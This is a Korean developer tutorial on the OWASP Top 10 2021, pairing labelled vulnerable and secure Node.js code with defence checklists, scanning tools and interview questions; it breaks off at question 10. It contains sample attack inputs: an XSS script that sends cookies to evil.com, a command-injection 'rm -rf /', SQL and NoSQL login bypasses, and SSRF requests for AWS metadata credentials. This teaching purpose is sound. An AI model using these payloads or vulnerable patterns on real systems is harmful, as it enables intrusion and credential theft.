서론: 왜 모든 개발자가 보안을 알아야 하는가
2024년 IBM의 Cost of a Data Breach Report에 따르면 데이터 유출 사고의 **평균 비용은 488만 달러**에 달합니다. 더 충격적인 사실은 **유출 사고의 약 70%가 애플리케이션 레벨의 취약점**에서 시작된다는 점입니다.
**보안은 보안팀만의 책임이 아닙니다.** 모든 코드를 작성하는 개발자가 보안의 첫 번째 방어선입니다. OWASP(Open Web Application Security Project)는 웹 애플리케이션에서 가장 심각한 10대 보안 위험을 정기적으로 발표합니다.
이 글에서는 OWASP Top 10 2021의 각 취약점을 실제 코드와 함께 분석하고, 방어 방법과 실전 체크리스트를 제공합니다.
1. OWASP Top 10 개요
1.1 OWASP Top 10 2021 순위
| 순위 | 카테고리 | 2017 대비 변화 |
|------|----------|---------------|
| A01 | Broken Access Control | 5위에서 1위로 상승 |
| A02 | Cryptographic Failures | 3위에서 2위 (이름 변경) |
| A03 | Injection | 1위에서 3위로 하락 |
| A04 | Insecure Design | 신규 항목 |
| A05 | Security Misconfiguration | 6위에서 5위로 상승 |
| A06 | Vulnerable and Outdated Components | 9위에서 6위로 상승 |
| A07 | Identification and Authentication Failures | 2위에서 7위로 하락 |
| A08 | Software and Data Integrity Failures | 신규 (8위에서 분리) |
| A09 | Security Logging and Monitoring Failures | 10위에서 9위로 상승 |
| A10 | Server-Side Request Forgery (SSRF) | 신규 항목 |
1.2 2017 대비 주요 변화
**Injection이 1위에서 3위로 하락**한 것은 프레임워크들의 기본 방어 메커니즘이 개선되었기 때문입니다. 반면 **Broken Access Control이 1위**로 올라간 것은 API 기반 아키텍처의 확산으로 권한 제어 실수가 급증했기 때문입니다.
**Insecure Design(A04)** 과 **SSRF(A10)** 가 신규 진입한 것은 클라우드 네이티브 환경과 마이크로서비스 아키텍처에서 새로운 공격 벡터가 등장했음을 의미합니다.
2. A01: Broken Access Control (접근 제어 실패)
2.1 개요
접근 제어 실패는 사용자가 자신의 권한을 넘어서는 행동을 할 수 있는 취약점입니다. **94%의 애플리케이션**에서 어떤 형태로든 접근 제어 실패가 발견되었습니다.
2.2 공격 시나리오
**IDOR (Insecure Direct Object Reference):**
공격자가 URL의 ID를 변경하여 다른 사용자 정보 조회
GET /api/users/12345/profile → 자신의 프로필
GET /api/users/12346/profile → 다른 사용자의 프로필 (권한 없이 접근!)
2.3 취약한 코드
// 취약한 코드 - 권한 확인 없이 직접 조회
app.get('/api/users/:id/profile', async (req, res) => {
const user = await User.findById(req.params.id);
res.json(user); // 누구든 ID만 알면 접근 가능!
});
// 취약한 코드 - 역할만 확인하고 리소스 소유권 미확인
app.delete('/api/posts/:id', requireRole('user'), async (req, res) => {
await Post.findByIdAndDelete(req.params.id); // 다른 사용자의 글도 삭제 가능!
res.json({ message: 'Deleted' });
});
2.4 안전한 코드
// 안전한 코드 - 리소스 소유권 확인
app.get('/api/users/:id/profile', authenticate, async (req, res) => {
// 자신의 프로필이거나 관리자인 경우에만 허용
if (req.params.id !== req.user.id && !req.user.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
const user = await User.findById(req.params.id);
res.json(user);
});
// 안전한 코드 - 리소스 소유권 + 역할 확인
app.delete('/api/posts/:id', authenticate, async (req, res) => {
const post = await Post.findById(req.params.id);
if (!post) return res.status(404).json({ error: 'Not found' });
if (post.authorId !== req.user.id && !req.user.isAdmin) {
return res.status(403).json({ error: 'Forbidden' });
}
await post.deleteOne();
res.json({ message: 'Deleted' });
});
2.5 방어 체크리스트
- 기본적으로 모든 접근을 거부하고, 필요한 경우에만 허용 (Deny by default)
- IDOR 방지: 리소스 접근 시 항상 소유권 또는 권한 확인
- CORS 설정을 최소한으로 제한
- JWT 토큰에 역할 정보 포함 시 서버 측에서 재검증
- API 엔드포인트마다 접근 제어 테스트 작성
3. A02: Cryptographic Failures (암호화 실패)
3.1 개요
민감한 데이터를 보호하기 위한 암호화가 누락되거나 잘못 구현된 경우입니다. 이전에는 "Sensitive Data Exposure"라고 불렸습니다.
3.2 공격 시나리오
시나리오 1: HTTP를 통한 비밀번호 전송
POST http://example.com/login (HTTPS가 아닌 HTTP!)
Body: username=admin&password=secret123
시나리오 2: 취약한 해시 알고리즘
비밀번호를 MD5로 저장 → 레인보우 테이블 공격으로 즉시 복호화
3.3 취약한 코드
// 취약: MD5로 비밀번호 해시
const crypto = require('crypto');
const hashedPassword = crypto.createHash('md5').update(password).digest('hex');
// 취약: 하드코딩된 암호화 키
const SECRET_KEY = 'my-super-secret-key-123';
const encrypted = encrypt(data, SECRET_KEY);
// 취약: 약한 TLS 버전 허용
const server = https.createServer({
secureProtocol: 'TLSv1_method', // TLS 1.0은 취약!
});
3.4 안전한 코드
const bcrypt = require('bcrypt');
// 안전: bcrypt로 비밀번호 해시 (솔트 자동 생성)
const SALT_ROUNDS = 12;
const hashedPassword = await bcrypt.hash(password, SALT_ROUNDS);
const isMatch = await bcrypt.compare(inputPassword, hashedPassword);
// 안전: 환경변수에서 키 로드 + AES-256-GCM 사용
const crypto = require('crypto');
const SECRET_KEY = Buffer.from(process.env.ENCRYPTION_KEY, 'hex');
function encrypt(plaintext) {
const iv = crypto.randomBytes(16);
const cipher = crypto.createCipheriv('aes-256-gcm', SECRET_KEY, iv);
const encrypted = Buffer.concat([cipher.update(plaintext, 'utf8'), cipher.final()]);
const tag = cipher.getAuthTag();
return { iv: iv.toString('hex'), encrypted: encrypted.toString('hex'), tag: tag.toString('hex') };
}
// 안전: TLS 1.2 이상만 허용
const server = https.createServer({
minVersion: 'TLSv1.2',
ciphers: 'TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256',
});
3.5 방어 체크리스트
- 모든 통신에 HTTPS(TLS 1.2+) 강제
- 비밀번호는 bcrypt, scrypt, Argon2 사용 (MD5, SHA-1 금지)
- 암호화 키는 환경변수 또는 KMS(Key Management Service) 사용
- AES-256-GCM 등 인증된 암호화 알고리즘 사용
- 민감 데이터를 불필요하게 저장하지 않음
4. A03: Injection (인젝션)
4.1 개요
사용자 입력이 쿼리, 명령어, 코드의 일부로 해석되는 취약점입니다. SQL Injection, NoSQL Injection, OS Command Injection, XSS가 대표적입니다.
4.2 SQL Injection 공격 시나리오
-- 정상 쿼리
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'
-- 공격 입력: username = ' OR '1'='1' --
SELECT * FROM users WHERE username = '' OR '1'='1' --' AND password = ''
-- 결과: 모든 사용자 정보가 반환됨!
4.3 취약한 코드 vs 안전한 코드
// ===== SQL Injection =====
// 취약: 문자열 연결로 쿼리 생성
const query = `SELECT * FROM users WHERE username = '${username}' AND password = '${password}'`;
db.query(query);
// 안전: 파라미터화된 쿼리 (Prepared Statement)
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(query, [username, hashedPassword]);
// 안전: ORM 사용 (Sequelize 예시)
const user = await User.findOne({
where: { username, password: hashedPassword },
});
// ===== NoSQL Injection =====
// 취약: MongoDB - 사용자 입력을 직접 쿼리에 사용
app.post('/login', async (req, res) => {
// 공격: { "username": {"$gt": ""}, "password": {"$gt": ""} }
const user = await User.findOne(req.body);
});
// 안전: 타입 검증 + mongo-sanitize
const sanitize = require('mongo-sanitize');
app.post('/login', async (req, res) => {
const username = sanitize(req.body.username);
if (typeof username !== 'string') return res.status(400).send('Invalid input');
const user = await User.findOne({ username, password: hashedPassword });
});
// ===== OS Command Injection =====
// 취약: 사용자 입력을 쉘 명령어에 직접 사용
const { exec } = require('child_process');
exec(`ping ${userInput}`, callback);
// 공격: userInput = "8.8.8.8; rm -rf /"
// 안전: execFile 사용 (쉘 해석 없음)
const { execFile } = require('child_process');
execFile('ping', ['-c', '4', userInput], callback);
4.4 XSS (Cross-Site Scripting)
// ===== Stored XSS =====
// 취약: 사용자 입력을 그대로 HTML에 삽입
app.get('/comments', async (req, res) => {
const comments = await Comment.find();
let html = '';
comments.forEach(c => {
html += `<div>${c.text}</div>`; // XSS 취약!
});
res.send(html);
});
// 공격 입력: <script>document.location='http://evil.com/?cookie='+document.cookie</script>
// 안전: 출력 인코딩
const he = require('he');
comments.forEach(c => {
html += `<div>${he.encode(c.text)}</div>`;
});
// React는 기본적으로 XSS 방지 (JSX가 자동 이스케이프)
function Comment({ text }) {
return <div>{text}</div>; // 자동으로 HTML 이스케이프됨
}
// 주의: dangerouslySetInnerHTML은 XSS 취약!
// <div dangerouslySetInnerHTML={{ __html: userInput }} /> // 사용 금지!
4.5 방어 체크리스트
- SQL: 항상 파라미터화된 쿼리 또는 ORM 사용
- NoSQL: 입력 타입 검증 + mongo-sanitize
- OS Command: execFile 사용, 사용자 입력을 쉘에 직접 전달 금지
- XSS: 출력 인코딩, CSP 헤더 설정, React/Vue 등 프레임워크의 자동 이스케이프 활용
5. A04: Insecure Design (불안전한 설계)
5.1 개요
보안 제어가 설계 단계에서부터 누락된 경우입니다. A04는 코드 레벨이 아닌 **아키텍처 레벨**의 취약점입니다. 아무리 완벽하게 구현해도 설계 자체가 취약하면 안전할 수 없습니다.
5.2 공격 시나리오
시나리오: 비밀번호 재설정 질문 기반 인증
- "어머니의 성함은?" → SNS에서 쉽게 수집 가능
- 설계 결함: 비밀번호 재설정에 보안 질문만 사용
시나리오: 무제한 파일 업로드
- 파일 크기/타입 제한 없음 → 서버 디스크 고갈 또는 악성 파일 실행
- 설계 결함: 리소스 제한이 아키텍처에 미포함
5.3 안전한 설계 원칙
// 원칙 1: Rate Limiting (요청 제한)
const rateLimit = require('express-rate-limit');
const loginLimiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15분
max: 5, // 최대 5회 시도
message: 'Too many login attempts. Please try again after 15 minutes.',
standardHeaders: true,
});
app.post('/login', loginLimiter, loginHandler);
// 원칙 2: Business Logic Validation
// 쿠폰 사용 시 중복 사용 방지를 설계 단계에서 고려
async function applyCoupon(userId, couponCode) {
const coupon = await Coupon.findOne({ code: couponCode });
if (!coupon || coupon.usedBy.includes(userId)) {
throw new Error('Invalid or already used coupon');
}
// 원자적 업데이트로 레이스 컨디션 방지
const result = await Coupon.findOneAndUpdate(
{ code: couponCode, usedBy: { $ne: userId } },
{ $push: { usedBy: userId } },
{ new: true }
);
if (!result) throw new Error('Coupon already used');
return result;
}
// 원칙 3: 위협 모델링 (Threat Modeling)
// STRIDE 모델: Spoofing, Tampering, Repudiation,
// Information Disclosure, Denial of Service,
// Elevation of Privilege
5.4 방어 체크리스트
- 설계 단계에서 위협 모델링 수행 (STRIDE, DREAD)
- 비즈니스 로직에 Rate Limiting 포함
- Abuse Case를 Use Case와 함께 작성
- 보안 설계 패턴 라이브러리 활용
- 보안 요구사항을 User Story에 포함
6. A05: Security Misconfiguration (보안 설정 오류)
6.1 개요
서버, 프레임워크, 클라우드 서비스의 보안 설정이 기본값이거나 잘못 구성된 경우입니다. **90%의 애플리케이션**에서 발견되는 가장 흔한 취약점입니다.
6.2 취약한 설정 vs 안전한 설정
// ===== Express.js 보안 설정 =====
// 취약: 기본 설정 사용
const app = express();
app.use(express.json());
// X-Powered-By 헤더가 "Express"를 노출 → 공격자에게 정보 제공
// 안전: Helmet 미들웨어 + 보안 강화
const helmet = require('helmet');
const app = express();
app.use(helmet()); // 여러 보안 헤더 자동 설정
app.disable('x-powered-by');
// 안전: 에러 메시지 정보 노출 방지
app.use((err, req, res, next) => {
console.error(err.stack); // 서버 로그에만 기록
res.status(500).json({
error: 'Internal Server Error', // 일반적인 메시지만 반환
// message: err.message // 절대 노출하지 않음!
// stack: err.stack // 절대 노출하지 않음!
});
});
===== Docker 보안 설정 =====
취약: root 사용자로 실행
FROM node:20
COPY . .
CMD ["node", "server.js"]
안전: non-root 사용자 사용
FROM node:20-slim
RUN groupadd -r appuser && useradd -r -g appuser appuser
WORKDIR /app
COPY --chown=appuser:appuser . .
USER appuser
CMD ["node", "server.js"]
===== AWS S3 보안 설정 =====
취약: 퍼블릭 접근 허용된 S3 버킷
BucketPolicy에 Principal: "*" 설정
안전: 퍼블릭 접근 차단
Resources:
MyBucket:
Type: AWS::S3::Bucket
Properties:
PublicAccessBlockConfiguration:
BlockPublicAcls: true
BlockPublicPolicy: true
IgnorePublicAcls: true
RestrictPublicBuckets: true
BucketEncryption:
ServerSideEncryptionConfiguration:
- ServerSideEncryptionByDefault:
SSEAlgorithm: AES256
6.3 방어 체크리스트
- 프로덕션에서 디버그 모드 비활성화
- 기본 계정/비밀번호 변경
- 불필요한 기능, 포트, 서비스 비활성화
- 보안 헤더 설정 (Helmet 등)
- 클라우드 리소스의 퍼블릭 접근 차단
- Infrastructure as Code(IaC)로 설정 일관성 유지
7. A06: Vulnerable and Outdated Components (취약한 구성 요소)
7.1 개요
알려진 취약점이 있는 라이브러리, 프레임워크, 소프트웨어 구성 요소를 사용하는 경우입니다. Log4Shell(CVE-2021-44228)이 대표적인 사례입니다.
7.2 방어 코드 및 도구
npm 의존성 취약점 감사
npm audit
npm audit fix
Snyk으로 취약점 스캔
npx snyk test
npx snyk monitor # 지속적 모니터링
GitHub Dependabot 설정 (.github/dependabot.yml)
.github/dependabot.yml
version: 2
updates:
- package-ecosystem: "npm"
directory: "/"
schedule:
interval: "weekly"
open-pull-requests-limit: 10
reviewers:
- "security-team"
// package.json - 버전 고정 전략
{
"dependencies": {
"express": "4.18.2", // 정확한 버전 고정
"lodash": "^4.17.21" // 마이너/패치 업데이트 허용
},
"overrides": {
// 간접 의존성의 취약한 버전 강제 업데이트
"nth-check": ">=2.0.1"
}
}
7.3 방어 체크리스트
- npm audit / Snyk / OWASP Dependency-Check 정기 실행
- CI/CD 파이프라인에 의존성 취약점 스캔 통합
- Dependabot 또는 Renovate Bot으로 자동 업데이트 PR 생성
- 사용하지 않는 의존성 제거
- SBOM(Software Bill of Materials) 유지
8. A07: Identification and Authentication Failures (인증 실패)
8.1 개요
인증 메커니즘이 잘못 구현되어 공격자가 사용자 계정에 무단 접근할 수 있는 취약점입니다.
8.2 취약한 코드 vs 안전한 코드
// ===== 취약한 세션 관리 =====
// 취약: 순차적 세션 ID
let sessionCounter = 0;
function createSession() {
return (++sessionCounter).toString(); // 예측 가능!
}
// 안전: 암호학적으로 안전한 랜덤 세션 ID
const crypto = require('crypto');
function createSession() {
return crypto.randomBytes(32).toString('hex'); // 256비트 랜덤
}
// ===== 취약한 JWT 구현 =====
// 취약: algorithm none 허용
const payload = jwt.verify(token, secret); // algorithm 검증 안 함!
// 안전: 명시적 알고리즘 지정
const payload = jwt.verify(token, secret, {
algorithms: ['HS256'], // 허용할 알고리즘 명시
issuer: 'my-app',
audience: 'my-api',
});
// ===== 비밀번호 정책 =====
// 안전: 강력한 비밀번호 검증
function validatePassword(password) {
const minLength = 12;
const hasUpperCase = /[A-Z]/.test(password);
const hasLowerCase = /[a-z]/.test(password);
const hasNumbers = /\d/.test(password);
const hasSpecialChar = /[!@#$%^&*(),.?":{}|<>]/.test(password);
const isNotCommon = !commonPasswords.includes(password);
return (
password.length >= minLength &&
hasUpperCase && hasLowerCase &&
hasNumbers && hasSpecialChar && isNotCommon
);
}
8.3 다중 인증(MFA) 구현
// TOTP (Time-based One-Time Password) 구현
const speakeasy = require('speakeasy');
const QRCode = require('qrcode');
// MFA 설정
async function setupMFA(userId) {
const secret = speakeasy.generateSecret({
name: `MyApp:user-${userId}`,
issuer: 'MyApp',
});
// QR 코드 생성
const qrCodeUrl = await QRCode.toDataURL(secret.otpauth_url);
// 시크릿을 DB에 저장 (암호화하여)
await User.updateOne({ _id: userId }, { mfaSecret: encrypt(secret.base32) });
return { qrCodeUrl, backupCodes: generateBackupCodes() };
}
// MFA 검증
function verifyMFA(token, userSecret) {
return speakeasy.totp.verify({
secret: userSecret,
encoding: 'base32',
token: token,
window: 1, // 30초 앞뒤 허용
});
}
8.4 방어 체크리스트
- MFA(다중 인증) 구현 및 권장
- 비밀번호 최소 12자 + 복잡도 요구
- 실패한 로그인 시도 제한 (Account Lockout)
- 세션 타임아웃 설정
- 비밀번호 해시에 bcrypt/Argon2 사용
- JWT: 알고리즘 명시, 만료 시간 설정, Refresh Token Rotation
9. A08: Software and Data Integrity Failures (소프트웨어 무결성 실패)
9.1 개요
소프트웨어 업데이트, CI/CD 파이프라인, 데이터 직렬화에서 무결성이 검증되지 않는 경우입니다. SolarWinds 공급망 공격이 대표적 사례입니다.
9.2 취약한 코드 vs 안전한 코드
// ===== 안전하지 않은 역직렬화 =====
// 취약: 사용자 입력을 직접 역직렬화
app.post('/api/data', (req, res) => {
const data = JSON.parse(req.body.serializedData);
// Prototype Pollution 가능!
processData(data);
});
// 안전: 스키마 검증 후 역직렬화
const Joi = require('joi');
const schema = Joi.object({
name: Joi.string().max(100).required(),
age: Joi.number().integer().min(0).max(150),
email: Joi.string().email(),
});
app.post('/api/data', (req, res) => {
const { error, value } = schema.validate(req.body);
if (error) return res.status(400).json({ error: error.details });
processData(value); // 검증된 데이터만 처리
});
===== CI/CD 파이프라인 무결성 =====
GitHub Actions에서 의존성 해시 고정
- uses: actions/checkout@v4 # 태그 고정
더 안전: SHA 해시 고정
uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11
9.3 방어 체크리스트
- SRI(Subresource Integrity) 해시를 CDN 리소스에 추가
- CI/CD 파이프라인에서 아티팩트 서명 및 검증
- npm lockfile(package-lock.json) 무결성 확인
- 역직렬화 전 스키마 검증 (Joi, Zod)
- 소프트웨어 업데이트의 디지털 서명 확인
10. A09: Security Logging and Monitoring Failures (로깅 실패)
10.1 개요
보안 관련 이벤트가 기록되지 않거나, 모니터링되지 않아 공격을 탐지하지 못하는 경우입니다. 평균적으로 **유출 사고 탐지까지 194일**이 소요됩니다.
10.2 안전한 보안 로깅
const winston = require('winston');
// 보안 이벤트 전용 로거
const securityLogger = winston.createLogger({
level: 'info',
format: winston.format.combine(
winston.format.timestamp(),
winston.format.json()
),
defaultMeta: { service: 'security' },
transports: [
new winston.transports.File({ filename: 'security.log' }),
// 프로덕션에서는 SIEM으로 전송
],
});
// 로그인 시도 기록
function logAuthEvent(event) {
securityLogger.info('Authentication event', {
type: event.type, // 'login_success', 'login_failure', 'logout'
userId: event.userId,
ip: event.ip,
userAgent: event.userAgent,
timestamp: new Date().toISOString(),
// 주의: 비밀번호는 절대 로깅하지 않음!
});
}
// 중요 작업 감사 로그
function logAuditEvent(action, userId, resource, details) {
securityLogger.info('Audit event', {
action, // 'create', 'update', 'delete', 'export'
userId,
resource, // 'user', 'payment', 'admin_settings'
details,
timestamp: new Date().toISOString(),
});
}
10.3 방어 체크리스트
- 로그인 성공/실패, 권한 변경, 중요 작업을 반드시 로깅
- 비밀번호, 토큰 등 민감 정보는 로그에 포함하지 않음
- 중앙 집중식 로그 관리 (ELK Stack, CloudWatch)
- 이상 탐지 알림 설정 (N분 내 N회 실패 시 알림)
- 로그 변조 방지 (별도 서버에 저장, 감사 로그 immutability)
11. A10: Server-Side Request Forgery (SSRF)
11.1 개요
서버가 공격자가 지정한 URL로 요청을 보내도록 유도하는 공격입니다. 2019년 Capital One 해킹 사건의 핵심 취약점이었습니다.
11.2 공격 시나리오
정상 요청: 외부 이미지 미리보기
POST /api/fetch-url
Body: { "url": "https://example.com/image.png" }
SSRF 공격: 내부 메타데이터 서비스 접근
POST /api/fetch-url
Body: { "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/" }
AWS 인스턴스의 IAM 크레덴셜 탈취!
SSRF 공격: 내부 서비스 접근
POST /api/fetch-url
Body: { "url": "http://internal-admin.local:8080/admin/delete-all" }
11.3 취약한 코드 vs 안전한 코드
const axios = require('axios');
const { URL } = require('url');
const dns = require('dns').promises;
const ipaddr = require('ipaddr.js');
// 취약: 사용자 입력 URL로 직접 요청
app.post('/api/fetch-url', async (req, res) => {
const response = await axios.get(req.body.url); // 위험!
res.json(response.data);
});
// 안전: URL 검증 + IP 차단
async function isUrlSafe(urlString) {
const parsed = new URL(urlString);
// HTTPS만 허용
if (parsed.protocol !== 'https:') return false;
// 내부 호스트명 차단
const blockedHosts = ['localhost', '127.0.0.1', '0.0.0.0', 'metadata.google.internal'];
if (blockedHosts.includes(parsed.hostname)) return false;
// DNS 확인 후 내부 IP 차단
const addresses = await dns.resolve4(parsed.hostname);
for (const addr of addresses) {
const ip = ipaddr.parse(addr);
if (ip.range() !== 'unicast') return false; // 사설 IP, 루프백 등 차단
}
return true;
}
app.post('/api/fetch-url', async (req, res) => {
if (!await isUrlSafe(req.body.url)) {
return res.status(403).json({ error: 'URL not allowed' });
}
const response = await axios.get(req.body.url, {
timeout: 5000,
maxRedirects: 0, // 리다이렉트 차단 (SSRF 우회 방지)
});
res.json(response.data);
});
11.4 방어 체크리스트
- 허용 목록(allowlist) 기반 URL 검증
- 내부 IP 대역(10.x, 172.16-31.x, 192.168.x, 169.254.x) 차단
- IMDSv2 사용 (AWS 메타데이터 서비스 보호)
- 서버에서 외부 요청 시 전용 네트워크 인터페이스 사용
- DNS Rebinding 방지: DNS 해석 후 IP 재확인
12. Beyond OWASP: 추가 취약점
12.1 CSRF (Cross-Site Request Forgery)
// CSRF 방어: csurf 미들웨어
const csrf = require('csurf');
const csrfProtection = csrf({ cookie: true });
app.get('/form', csrfProtection, (req, res) => {
res.render('form', { csrfToken: req.csrfToken() });
});
app.post('/transfer', csrfProtection, (req, res) => {
// CSRF 토큰 자동 검증
processTransfer(req.body);
});
// SameSite 쿠키로 CSRF 방어
res.cookie('session', sessionId, {
httpOnly: true,
secure: true,
sameSite: 'Strict', // 또는 'Lax'
maxAge: 3600000,
});
12.2 CORS (Cross-Origin Resource Sharing)
const cors = require('cors');
// 취약: 모든 오리진 허용
app.use(cors()); // origin: '*'
// 안전: 특정 오리진만 허용
app.use(cors({
origin: ['https://myapp.com', 'https://admin.myapp.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
credentials: true,
maxAge: 86400, // preflight 캐시 24시간
}));
12.3 CSP (Content Security Policy)
// Content Security Policy 설정
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-abc123'"], // 인라인 스크립트는 nonce 필수
styleSrc: ["'self'", "https://fonts.googleapis.com"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.myapp.com"],
fontSrc: ["'self'", "https://fonts.gstatic.com"],
objectSrc: ["'none'"],
mediaSrc: ["'none'"],
frameSrc: ["'none'"],
},
}));
12.4 Rate Limiting
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis');
// 분산 환경을 위한 Redis 기반 Rate Limiting
const limiter = rateLimit({
store: new RedisStore({
sendCommand: (...args) => redisClient.call(...args),
}),
windowMs: 15 * 60 * 1000,
max: 100,
standardHeaders: true,
legacyHeaders: false,
message: { error: 'Too many requests, please try again later.' },
keyGenerator: (req) => req.ip, // IP 기반 제한
});
// API 엔드포인트별 다른 제한
const authLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5 });
const apiLimiter = rateLimit({ windowMs: 60 * 1000, max: 30 });
app.use('/api/auth', authLimiter);
app.use('/api/', apiLimiter);
13. Security Headers 완전 가이드
// 모든 보안 헤더를 한 번에 설정
app.use((req, res, next) => {
// XSS 방어
res.setHeader('X-Content-Type-Options', 'nosniff');
res.setHeader('X-XSS-Protection', '0'); // 최신 브라우저는 CSP 사용
// Clickjacking 방어
res.setHeader('X-Frame-Options', 'DENY');
// HTTPS 강제
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains; preload');
// Referrer 정보 제한
res.setHeader('Referrer-Policy', 'strict-origin-when-cross-origin');
// 브라우저 기능 제한
res.setHeader('Permissions-Policy', 'camera=(), microphone=(), geolocation=()');
// CSP
res.setHeader('Content-Security-Policy', "default-src 'self'; script-src 'self'");
next();
});
| 헤더 | 목적 | 권장 값 |
|------|------|---------|
| Content-Security-Policy | XSS/인젝션 방어 | default-src 'self' |
| Strict-Transport-Security | HTTPS 강제 | max-age=31536000; includeSubDomains |
| X-Frame-Options | Clickjacking 방어 | DENY |
| X-Content-Type-Options | MIME 스니핑 방어 | nosniff |
| Referrer-Policy | Referrer 정보 제한 | strict-origin-when-cross-origin |
| Permissions-Policy | 브라우저 기능 제한 | camera=(), microphone=() |
14. 보안 테스팅 도구
14.1 DAST (Dynamic Application Security Testing)
| 도구 | 유형 | 특징 |
|------|------|------|
| OWASP ZAP | 오픈소스 DAST | 자동 스캔 + 수동 테스트, CI/CD 통합 |
| Burp Suite | 상용 DAST | 업계 표준 웹 보안 테스팅 도구 |
| Nuclei | 오픈소스 스캐너 | 템플릿 기반 취약점 스캔 |
14.2 SAST (Static Application Security Testing)
| 도구 | 유형 | 특징 |
|------|------|------|
| SonarQube | 오픈소스 SAST | 코드 품질 + 보안 취약점 분석 |
| Semgrep | 오픈소스 SAST | 가벼운 정적 분석, 커스텀 룰 지원 |
| CodeQL | GitHub SAST | GitHub 통합, 시맨틱 분석 |
14.3 SCA (Software Composition Analysis)
| 도구 | 유형 | 특징 |
|------|------|------|
| Snyk | SCA + SAST | 의존성 취약점 + 코드 취약점 |
| npm audit | 내장 | npm 의존성 취약점 검사 |
| Trivy | 오픈소스 | 컨테이너 이미지 + 파일시스템 스캔 |
GitHub Actions에 보안 스캔 통합
name: Security Scan
on: [push, pull_request]
jobs:
security:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- name: Run Snyk
uses: snyk/actions/node@master
env:
SNYK_TOKEN: ${{ secrets.SNYK_TOKEN }}
- name: Run Semgrep
uses: semgrep/semgrep-action@v1
with:
config: p/owasp-top-ten
- name: Run Trivy
uses: aquasecurity/trivy-action@master
with:
scan-type: 'fs'
severity: 'CRITICAL,HIGH'
15. 프로덕션 보안 체크리스트 (20항목)
인증 및 접근 제어
- [ ] MFA(다중 인증) 구현
- [ ] 비밀번호 최소 12자 + 복잡도 요구
- [ ] 세션 타임아웃 설정 (예: 30분)
- [ ] JWT Refresh Token Rotation 구현
- [ ] RBAC 또는 ABAC 기반 권한 관리
데이터 보호
- [ ] 모든 통신에 HTTPS(TLS 1.2+) 강제
- [ ] 비밀번호 bcrypt/Argon2 해시
- [ ] 암호화 키 KMS 관리
- [ ] PII(개인식별정보) 최소 수집/암호화 저장
입력 검증
- [ ] 파라미터화된 쿼리 사용 (SQL Injection 방지)
- [ ] 출력 인코딩 (XSS 방지)
- [ ] CSRF 토큰 또는 SameSite 쿠키
- [ ] 파일 업로드 타입/크기 제한
인프라 및 설정
- [ ] 보안 헤더 설정 (CSP, HSTS, X-Frame-Options)
- [ ] 프로덕션에서 디버그 모드 비활성화
- [ ] Docker 컨테이너 non-root 실행
- [ ] 클라우드 리소스 퍼블릭 접근 차단
모니터링 및 대응
- [ ] 보안 이벤트 로깅 (인증, 권한 변경, 중요 작업)
- [ ] 의존성 취약점 자동 스캔 (CI/CD 통합)
- [ ] 인시던트 대응 플레이북 준비
16. 면접 예상 질문 15선
기초 질문
**Q1: OWASP Top 10이란 무엇이며, 왜 중요한가요?**
OWASP Top 10은 웹 애플리케이션에서 가장 심각한 10대 보안 위험을 정리한 목록입니다. 3-4년마다 갱신되며, 보안 인식 제고와 개발 가이드라인으로 업계에서 널리 사용됩니다. PCI DSS 같은 규정 준수에서도 참조됩니다.
**Q2: SQL Injection을 방지하는 방법 3가지를 설명하세요.**
1) 파라미터화된 쿼리(Prepared Statement): 쿼리와 데이터를 분리합니다. 2) ORM 사용: Sequelize, Prisma 등이 자동으로 쿼리를 파라미터화합니다. 3) 입력 검증: 화이트리스트 기반으로 허용된 문자만 통과시킵니다.
**Q3: XSS의 3가지 유형을 설명하세요.**
1) Stored XSS: 악성 스크립트가 DB에 저장되어 다른 사용자에게 전달. 2) Reflected XSS: URL 파라미터의 스크립트가 응답에 포함. 3) DOM-based XSS: 클라이언트 측 JavaScript가 DOM을 조작하여 발생. 방어는 출력 인코딩과 CSP 헤더 설정입니다.
**Q4: CSRF란 무엇이며 어떻게 방어하나요?**
CSRF는 인증된 사용자의 브라우저를 이용해 악의적 요청을 보내는 공격입니다. 방어: 1) Anti-CSRF 토큰 사용, 2) SameSite 쿠키 속성, 3) Referer/Origin 헤더 검증, 4) 중요 작업에 재인증 요구.
**Q5: HTTPS가 HTTP보다 안전한 이유를 설명하세요.**
HTTPS는 TLS를 사용하여 세 가지를 보장합니다: 1) 기밀성: 데이터 암호화로 도청 방지, 2) 무결성: 데이터 변조 감지, 3) 인증: 서버 신원 확인(인증서). HTTP는 평문 전송이므로 중간자 공격(MITM)에 취약합니다.
중급 질문
**Q6: Broken Access Control과 Authentication Failure의 차이는?**
Authentication Failure는 "당신이 누구인가?"를 잘못 판단하는 것이고, Broken Access Control은 "당신이 무엇을 할 수 있는가?"를 잘못 제어하는 것입니다. 인증은 신원 확인, 접근 제어는 권한 제어입니다.
**Q7: SSRF 공격이 클라우드 환경에서 특히 위험한 이유는?**
클라우드 환경에는 메타데이터 서비스(169.254.169.254)가 있어 SSRF로 IAM 크레덴셜, 환경 변수 등을 탈취할 수 있습니다. Capital One 해킹이 대표적 사례이며, AWS IMDSv2 사용으로 방어합니다.
**Q8: JWT의 보안 취약점과 대책을 설명하세요.**
취약점: 1) Algorithm None 공격, 2) 시크릿 키 브루트포스, 3) 토큰 탈취 후 만료까지 사용. 대책: 알고리즘 명시 검증, 강력한 시크릿 키(256비트 이상), 짧은 만료 시간 + Refresh Token Rotation.
**Q9: CSP(Content Security Policy)의 동작 원리를 설명하세요.**
CSP는 브라우저에게 허용된 리소스 출처를 지정하는 HTTP 헤더입니다. script-src, style-src 등 지시어로 각 리소스 유형별 허용 출처를 지정합니다. 인라인 스크립트는 nonce 또는 hash로 허용하며, 위반 시 report-uri로 보고할 수 있습니다.
**Q10: Rate Limiting의 구현 전략과 분산 환경에서의 고려사항은?**
